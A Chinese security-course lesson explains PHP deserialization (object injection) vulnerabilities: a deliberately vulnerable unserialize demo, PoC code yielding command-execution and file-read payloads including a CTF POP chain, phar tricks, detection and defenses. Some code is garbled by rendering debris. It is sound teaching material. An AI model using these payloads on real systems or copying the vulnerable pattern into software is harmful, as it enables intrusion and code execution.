12 反序列化漏洞:数据转换下的欺骗
上一讲介绍了 XXE 漏洞,它在业务场景中很容易用于读取敏感文件、进行代码执行,甚至也会用来渗透内网,也因此 XXE 漏洞常被当作一种严重漏洞来对待。
本讲我将介绍另一种常用来实现远程代码执行的漏洞类型——反序列化漏洞,这几年经常出现在 Java 公共库,比如阿里的 fastjson,还有一些 Java 应用服务器,比如 JBoss。PHP 也有反序列化,比如著名的 Joomla 内容管理系统很多编程语言都有这种反序列化功能,若对反序列化的数据未做有效过滤和限制,就可能导致这种漏洞的产生。
下面我就详细给你介绍下关于反序列化漏洞攻防的方方面面,演示案例我依然会以 PHP 为例,方便大家学习。
序列化与反序列化
为什么会有序列化与反序列化的需求呢?
序列化是把对象转换成有序字节流,通常都是一段可阅读的字符串,以便在网络上传输或者保存在本地文件中。同样,如果我们想直接使用某对象时,就可能通过反序列化前面保存的字符串,快速地重建对象,也不用重写一遍代码,提高工作效率。
以 PHP 语言为例,下面以代码示例介绍下序列化与反序列化,帮助你更直观地理解两者的概念。
1.序列化示例
PHP 中通过 serialize 函数进行序列化操作,先定义个类,然后用它创建个类对象再序列化,代码示例如下:
class People{ public $id = 1; protected $name = "john"; private $age = 18; }
o b j = < s p a n c l a s s = " h l j s − k e y w o r d " > n e w < / s p a n > P e o p l e ( ) ; < s p a n c l a s s = " h l j s − k e y w o r d " > e c h o < / s p a n > s e r i a l i z e ( obj = new People(); echo serialize( obj=<spanclass="hljs−keyword">new</span>People();<spanclass="hljs−keyword">echo</span>serialize(obj);
我在 PHP 7.4.3 版本下执行,它会输出以下这段字符串:
$ php -vPHP 7.4.3 (cli) (built: Oct 6 2020 15:47:56) ( NTS )Copyright (c) The PHP GroupZend Engine v3.4.0, Copyright (c) Zend Technologies with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies$ php test.php 'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}'
注意:有些终端在输出时,可能会把其中的 \x00 过滤掉,"Peopleage" 其实是 "\x00People\x00age" 这样的数据,在后面进行反序列化操作时要注意,可拿前面的变量名长度进行对比。
对生成后序列化字符串前半部分做个解释,后面类似:
O:代表对象Object6:对象名称长度People:对象名称3:变量个数s:数据类型2:变量名长度id:变量名i:整数类型1:变量值
序列化后有很多数据类型的表示,你先提前了解一下,以后写反序列化利用时有可能会用到。
a - array 数组型b - boolean 布尔型d - double 浮点型i - integer 整数型o - common object 共同对象r - objec reference 对象引用s - non-escaped binary string 非转义的二进制字符串S - escaped binary string 转义的二进制字符串C - custom object 自定义对象O - class 对象N - null 空R - pointer reference 指针引用U - unicode string Unicode 编码的字符串
相信到这里,你对所谓的序列化操作有了直观的认识感受,它就是将对象转换成可阅读可存储的字符串序列。
2.反序列化示例
反序列化就是对前面的序列化的反向操作,即将字符串序列重建回对象。
现在我们将前面生成的序列化字符串进行反序列化操作,通过 unserialize() 函数来实现:
$str = 'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}'; $u = unserialize($str); echo $u->id;?>
执行之后,成功获取到 People 的属性 id 值,说明反序列化重建出来的对象是可用的:
$ php test.php1
如果你访问 $name 与 $age 就会出错,因为它们不是公有属性,不可直接访问:
PHP Fatal error: Uncaught Error: Cannot access private property People::$age in /tmp/test.php:14Stack trace:#0 {main} thrown in /tmp/test.php on line 14PHP Fatal error: Uncaught Error: Cannot access protected property People::$name in /tmp/test.php:14Stack trace:#0 {main} thrown in /tmp/test.php on line 14
这里主要介绍的是 PHP 的序列化与反序列化,很多语言也都有这种功能,我在后面的“扩展:其他语言的反序列化”小节中做了补充,你可以继续去探索下其他语言。
漏洞是如何产生的?
反序列化原本只是一个正常的功能,那为什么反序列化就会产生漏洞呢?
当传给 unserialize() 的参数由外部可控时,若攻击者通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数,比如 PHP 中特殊的魔术方法(详见下文),这些方法在某些情况下会被自动调用,为实现任意代码执行提供了条件,这时反序列化漏洞就产生了,PHP 反序列化漏洞有时也被称为“PHP 对象注入”漏洞。
攻击反序列化漏洞
反序列化参数可控后,如果我们只能针对参数的类对象进行利用,那么攻击面就太小了。这时利用魔术方法就可以扩大攻击面,它在该类的序列化或反序列化中就可能自动完成调用,对于漏洞的利用可以直到关键作用。
除此之外,还有后面将介绍到的 POP 链构造等手法都可以进一步扩大攻击面,达到代码执行的效果。
1.利用魔术方法
魔术方法就是 PHP 中一些在某些情况下会被自动调用的方法,无须手工调用,比如当一个对象创建时 __construct 会被调用,当一个对象销毁时 __destruct 会被调用。
下面是 PHP 中一些常用的魔术方法:
__construct() #类的构造函数__destruct() #类的析构函数__call() #在对象中调用一个不可访问方法时调用__callStatic() #用静态方式中调用一个不可访问方法时调用__get() #获得一个类的成员变量时调用__set() #设置一个类的成员变量时调用__isset() #当对不可访问属性调用isset()或empty()时调用__unset() #当对不可访问属性调用unset()时被调用。__sleep() #执行serialize()时,先会调用这个函数__wakeup() #执行unserialize()时,先会调用这个函数__toString() #类被当成字符串时的回应方法__invoke() #调用函数的方式调用一个对象时的回应方法__set_state() #调用var_export()导出类时,此静态方法会被调用。__clone() #当对象复制完成时调用__autoload() #尝试加载未定义的类__debugInfo() #打印所需调试信息
下面通过一段漏洞代码来演示下魔术方法在反序列化漏洞中的利用,vul.php 漏洞代码如下:
class People { private $type;
function __construct(){ $this->type = new Student();}function __destruct() { $this->type->run();}
}
class Student {
function run() {
echo “he is a student.”;
}
}
class Evil {
var KaTeX parse error: Expected '}', got 'EOF' at end of input: …"hljs-keyword">this->cmd);
}
}
unserialize($_GET[‘str’]); // 漏洞触发点,引用外部可控参数作为反序列化数据
先分析下代码,$_GET['str'] 获取 get 参数 str 值,然后传递给 unserialize 进行反序列化操作,这就是导致漏洞的地方。
那么我们该如何利用呢?审查整份代码,发现 Evil 类中的命令执行方法 run(),如果能控制其中的 $cmd 变量就可以实现远程命令执行。在 People 类的 __construct 方法中有属性赋值操作,将 Student 对象赋值给 $type 属性。
同时,在 __destruct 方法中有调用 run() 方法的操作,因此我们可以设法此这些操作关联起来,写出利用代码去生成用来实现命令执行的序列化字符串。
poc.php 利用代码如下:
class People { private $type;
function __construct(){ $this->type = new Evil();}
}
class Evil {
var $cmd = ‘id’;
}
$people = new People();
s t r = s e r i a l i z e ( str = serialize( str=serialize(people);
echo $str;
运行生成序列化字符串:
$ php poc.phpO:6:"People":1:{s:12:"Peopletype";O:4:"Evil":1:{s:3:"cmd";s:2:"id";}}
里面的 "Peopletype" 又被吃掉 \x00 了,得补回去,然后将上述字符串作为 get 参数 $str 的值发送给 vul.php:
http://127.0.0.1/vul.php?str=O:6:%22People%22:1:{s:12:%22%00People%00type%22;O:4:%22Evil%22:1:{s:3:%22cmd%22;s:2:%22id%22;}}
图 1 成功利用反序列化漏洞执行任意命令
总结下利用思路:
-
寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方,正如示例中的 Evil 类;
-
追踪调用第 1 步中方法的其他类方法/函数,正如示例中 People 类方法 __destruct();
-
寻找可控制第 1 步方法的参数的其他类方法函数,正如示例中 People 类方法 __construct();
-
编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串;
-
将生成的序列化字符串传递给漏洞参数实现利用。
2.POP 链构造
面向属性编程(Property-Oriented Programing,POP)利用现有执行环境中原有的代码序列(比如原程序中已定义或者可动态加载的对象属性、方法),将这些调用组合在一起形式特定的调用链,以达到特定目的的方法。这与二进制漏洞利用中的 ROP(Return-Oriented Progaming,面向返回编程)的原理是相似的。
其实前面利用魔术方法构建调用链的方法就算是 POP 链,只是比较简单,在真实的漏洞环境中,会复杂很多。
我从网上找了一道 CTF 题,以帮助你更好地理解构建 POP 链的思路。
题目代码如下,代码中有 3 个类,Output 类有构造方法 construct 和析构方法 destruct,Show 类中有一些设置属性值的方法,Test 类中则含有读取文件的方法,最后使用 GET 参数传入 unserialize() 函数导致反序列化漏洞。
class Output{ public $test; public $str; public function __construct($name){ $this->str = $name; } public function __destruct(){ $this->test = $this->str; echo $this->test; }}class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; echo $this->source; } public function __toString(){ $content = $this->str['str']->source; return $content; } public function __set($key,$value){ $this->$key = $value; } public function _show(){ if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){ die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup(){ if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){ echo "hacker~"; $this->source = "index.php"; } }}class Test{ public $file; public $params; public function __construct(){ $this->params = array(); } public function __get($key){ return $this->get($key); } public function get($key){ if(isset($this->params[$key])){ $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value){ $text = base64_encode(file_get_contents($value)); return $text; }}show_source(__FILE__);$name=unserialize($_GET['strs']);?>
按照前面介绍的利用思路,一步步来套用上。
1. 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方。
在题目中,没有找到上面用于执行代码或命令的函数,但是在 Test::file_get() 调用 file_get_contents 读取文件内容,如果能够利用它实现任意文件读取也是可取的,因此就以 Test 类方法 file_get 为目标方法;
2. 追踪调用第 1 步中方法的其他类方法/函数。
看哪里调用 Test::file_get(),可以看到是 Test::get(),再往上追踪,发现是在 Test::__get() 调用的,这个 __get() 魔术方法的触发条件是:读取不可访问属性值,包括私有或未定义属性。在 Show::__toString() 中就有对未定义属性 $content 的操作,这样就会触发 __get() 方法。再往上追溯,发现 Output::__destruct() 中调用到 echo 函数可触发 __toString() ,这样就得到整个调用链如下:
图 2 调用链
3. 寻找可控制第 1 步方法的参数的其他类方法函数。
这里需要控制的是 file_get_contents($value) 中的参数 $value,依次往上追溯,发现其来自数组中的一个元素值,得到如下传播路径:
图 3 参数传播路径
为了对应 Show::__toString() 中的 $this->str['str']->source ,我们可以通过array('source'=>'可控内容') 来控制 $value,即打算读取的文件路径。进一步优化下传播路径:
图 4 优化后的参数传播路径
4. 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串。
根据图 2 的调用链可以知道,起始的调用类在 Output,因此我们需要反序列化它。
基于前面的分析,PoC 代码如下:
class Output{ public $test; public $str; public function __construct($name){ $this->str = $name; } public function __destruct(){ $this->test = $this->str; echo $this->test; } } class Show{ public $str; public $source; public function __toString(){ $content = $this->str['str']->source; return (string)$content; } } class Test{ public $file; public $params; // 原方法的定义此处省略,因为它对生成序列化字符串没有影响 } $test = new Test(); $test->params = array('source'=>'/var/www/html/flag.php'); $show = new Show(); $show->str = array('str'=>$test); $output = new Output($show); echo serialize($output);?>
执行后得到如下序列化字符串:
O:6:"Output":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/flag.php";}}}s:6:"source";N;}}
5. 将生成的序列化字符串传递给漏洞参数实现利用
漏洞参数是 GET 参数 str,因此可以如此构造请求:
http://127.0.0.1/vul.php?str=O:6:"Output":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/flag.php";}}}s:6:"source";N;}}
整个过程可能有点绕,但 POP 链的利用技术就是如此,需要你对目标程序进行全方位的分析,提取出可利用的调用链进行组装,才有可能实现真正的攻击效果。
3.phar 文件攻击
在 2018 年 BlackHat 黑客大会上,安全研究员 Sam Thomas 分享了议题“It's a PHP unserialization vulnerability Jim, but not as we know it”,介绍了一种关于利用 phar 文件实现反序列化漏洞的利用技巧,利用的是 phar 文件中序列化存储用户自定义的 meta-data,在解析该数据时就必然需要反序列化,配合 phar:// 伪协议即可触发对此的反序列化操作。比如如下代码即可触发对 test.txt 文件内容的反序列化操作:
$filename = 'phar://phar.phar/test.txt';file_get_contents($filename);
在实际利用时,还可以对 phar 文件进行格式上的伪造,比如添加图片的头信息,将其伪装成其他格式的文件,用于绕过一些上传文件格式的限制。
更加具体技术资料,推荐以下两篇:
《It's a PHP unserialization vulnerability Jim, but not as we know it》
如何挖掘反序列化漏洞?
1.代码审计
个人认为,想主动检测一些反序列化漏洞,特别是 0day 漏洞,最好的方法就是代码审计,针对不同的语言的反序化操作函数,比如 php unserialize 函数,还要注意 phar 文件攻击场景,然后往上回溯参数的传递来源,看是否有外部可控数据引用(比如 GET、POST 参数等等),而又未过任何过滤,那么它就有可能存在反序列化漏洞。
2.RASP 检测
在《08 | SQL 注入:漏洞的检测与防御》中已经介绍过 RASP,可以针对不同的语言做一些 Hook,如果发现一些敏感函数(比如 php eval、unserialize)被执行就打印出栈回溯,方便追踪漏洞成功,以及漏洞利用技术技巧,整个 POP 链也可以从中获取到。
所以,通过 RASP 不仅有利于拦截漏洞攻击,还可以定位漏洞代码,以及学习攻击者的利用技术,为后续的漏洞修复和拦截提供更多的参考价值。
3.动态黑盒扫描
通过收集历史漏洞的 payload,再结合网站指纹识别,特别是第三方库的识别,然后再根据不同的第三方库发送对应的 payload,根据返回结果作漏洞是否存在的判断。
这项工作也常于外曝漏洞后的安全应急工作,然后加入日常漏洞扫描流程中,以应对新增业务的检测。
防御反序列化漏洞
-
黑白名单限制
针对反序列化的类做一份白名单或黑名单的限制,首选白名单,避免一些遗漏问题被绕过。这种方法是当前很多主流框架的修复方案。
黑名单并不能完全保证序列化过程的安全,有时网站开发个新功能,加了一些类之后,就有可能绕过黑名单实现利用,这也是为什么有些反序列化漏洞修复后又在同一个地方出现的原因。
-
WAF
收集各种语言的反序列化攻击数据,提取特征用于拦截请求。
-
RASP
RASP 除了可以检测漏洞外,它本身也可以提供类似 WAF 的防御功能。
扩展:其他语言的反序列化
其他编程语言也存在对应的序列化和反序列化功能,其产生和利用的原理与 PHP 类似。
-
Python
使用模块 pickle 就可以实现对一个 Python 对象结构的二进制序列化和反序列化
# 序列化pickle.dump(obj, file, protocol=None, *, fix_imports=True) # 反序列化pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict')
-
Java
在 Java 中,只要一个类实现了 java.io.Serializable 接口,那么它就可以被序列化,通过 ObjectOutputStream 和 ObjectInputStream 来实现序列化与反序列化操作。
// 序列化ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/string.txt")));oos.writeObject(obj) // 将对象序列化后的字符串写入d:/string.txt// 反序列化ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("d:/string.txt")));ois.readObject(); // 读取d:/string.txt中的序列化字符串,并重建回对象
-
Ruby
在 Ruby 中可以使用 Marshal 模块实现对象的序列化与反序列化操作。
# 序列化str = Marshal.dump(obj)#反序列化obj = Marshal.load(str)
小结
本节课主要介绍 PHP 下反序列化漏洞,专门举几个代码 demo 进行演示,让你对序列化与反序列化有个实际的直观感受,然后构造漏洞 demo,讲解针对反序列化漏洞的利用思路,旨在帮助你加深 POP 链与魔术方法利用技巧,这在反序列化漏洞利用中是最为常用的。
其他语言也有反序列化漏洞,比如 Java 语言,大家可以在留言区中评论,探讨其他语言的一些反序列化漏洞。